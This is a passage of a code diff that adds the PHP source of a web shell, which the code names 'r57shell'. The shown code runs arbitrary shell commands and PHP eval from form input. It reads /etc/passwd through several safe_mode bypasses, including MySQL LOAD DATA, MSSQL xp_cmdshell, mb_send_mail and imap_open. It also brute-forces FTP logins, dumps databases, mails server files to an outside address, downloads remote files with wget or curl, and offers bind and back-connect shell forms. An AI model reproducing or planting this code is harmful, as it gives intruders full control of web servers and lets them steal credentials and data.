$_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table"); + @mysql_query("CREATE TABLE `temp_SnIpEr_SA_table` ( `file` LONGBLOB NOT NULL )"); + @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_SnIpEr_SA_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table SnIpEr_SA_temp_table",$db); + @mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from SnIpEr_SA_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table SnIpEr_SA_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + case 'test8': + if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118']; + else echo $lang[$language.'_text119']; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text302'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&$unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&$unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo 